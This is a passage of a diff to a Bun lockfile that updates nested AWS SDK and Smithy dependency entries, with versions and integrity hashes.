- "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@aws-sdk/client-kendra/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+ "@aws-sdk/client-kendra/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
@@ -8327,36 +7805,14 @@
"@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/client-kendra/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@aws-sdk/client-kendra/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@aws-sdk/client-kendra/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/client-kendra/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
-
"@aws-sdk/client-kendra/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/client-kendra/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@aws-sdk/client-kendra/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@aws-sdk/client-kendra/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/credential-provider-login": ["@aws-sdk/credential-provider-login@3.972.17", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-gf2E5b7LpKb+JX2oQsRIDxdRZjBFZt2olCGlWCdb3vBERbXIPgm2t1R5mEnwd4j0UEO/Tbg5zN2KJbHXttJqwA=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers": ["@aws-sdk/token-providers@3.1004.0", "", { "dependencies": { "@aws-sdk/core": "^3.973.18", "@aws-sdk/nested-clients": "^3.996.7", "@aws-sdk/types": "^3.973.5", "@smithy/property-provider": "^4.2.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-j9BwZZId9sFp+4GPhf6KrwO8Tben2sXibZA8D1vv2I1zBdvkUHcBA2g4pkqIpTRalMTLC0NPkBPX0gERxfy/iA=="],
-
- "@aws-sdk/client-s3/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.996.7", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-MlGWA8uPaOs5AiTZ5JLM4uuWDm9EEAnm9cqwvqQIc6kEgel/8s1BaOWm9QgUcfc9K8qd7KkC3n43yDbeXOA2tg=="],
-
- "@aws-sdk/client-s3/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="],
-
- "@aws-sdk/client-s3/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.11", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.13.0", "@smithy/util-hex-encoding": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-Sf39Ml0iVX+ba/bgMPxaXWAAFmHqYLTmbjAPfLPLY8CrYkRDEqZdUsKC1OwVMCdJXfAt0v4j49GIJ8DoSYAe6w=="],
-
"@aws-sdk/client-sso-oidc/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
"@aws-sdk/client-sso-oidc/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-eFndh1WEK5YMUYvy3lPlVmYY/fZcQE1D8oSf41Id2vCeIkKJXPcYDCZD+4+xViI6b1XSd7tE+s5AmXzz5ilabQ=="],
@@ -8417,220 +7873,92 @@
"@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.23", "", { "dependencies": { "@smithy/core": "^3.23.9", "@smithy/middleware-serde": "^4.2.12", "@smithy/node-config-provider": "^4.3.11", "@smithy/shared-ini-file-loader": "^4.4.6", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-middleware": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-UEFIejZy54T1EJn2aWJ45voB7RP2T+IRzUqocIdM6GFFa5ClZncakYJfcYnoXt3UsQrZZ9ZRauGm77l9UCbBLw=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/middleware-flexible-checksums/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.11", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-Hj4WoYWMJnSpM6/kchsm4bUNTL9XiSyhvoMb2KIq4VJzyDt7JpGHUZHkVNPZVC7YE1tf8tPeVauxpFBKGW4/KQ=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "@smithy/util-uri-escape": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/core": ["@aws-sdk/core@3.758.0", "", { "dependencies": { "@aws-sdk/types": "3.734.0", "@smithy/core": "^3.1.5", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/signature-v4": "^5.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "@smithy/util-middleware": "^4.0.1", "fast-xml-parser": "4.4.1", "tslib": "^2.6.2" } }, "sha512-0RswbdR9jt/XKemaLNuxi2gGr4xGlHyGxkTdhSQzCyUe9A9OPCoLl3rIESRguQEech+oJnbHk/wuiwHqTuP9sg=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/util-arn-parser": ["@aws-sdk/util-arn-parser@3.723.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-ZhEfvUwNliOQROcAk34WJWVYTlTa4694kSVhDSjW6lE1bMataPnIN8A0ycukEzBXmd8ZSoBcQLn6lKGl7XIJ5w=="],
+ "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core": ["@smithy/core@3.1.5", "", { "dependencies": { "@smithy/middleware-serde": "^4.0.2", "@smithy/protocol-http": "^5.0.1", "@smithy/types": "^4.1.0", "@smithy/util-body-length-browser": "^4.0.0", "@smithy/util-middleware": "^4.0.1", "@smithy/util-stream": "^4.1.2", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-HLclGWPkCsekQgsyzxLhCQLa8THWXtB5PxyYN+2O6nkyLt550KQKTlbV2D1/j5dNIQapAZM1+qFnpBFxZQkgCA=="],
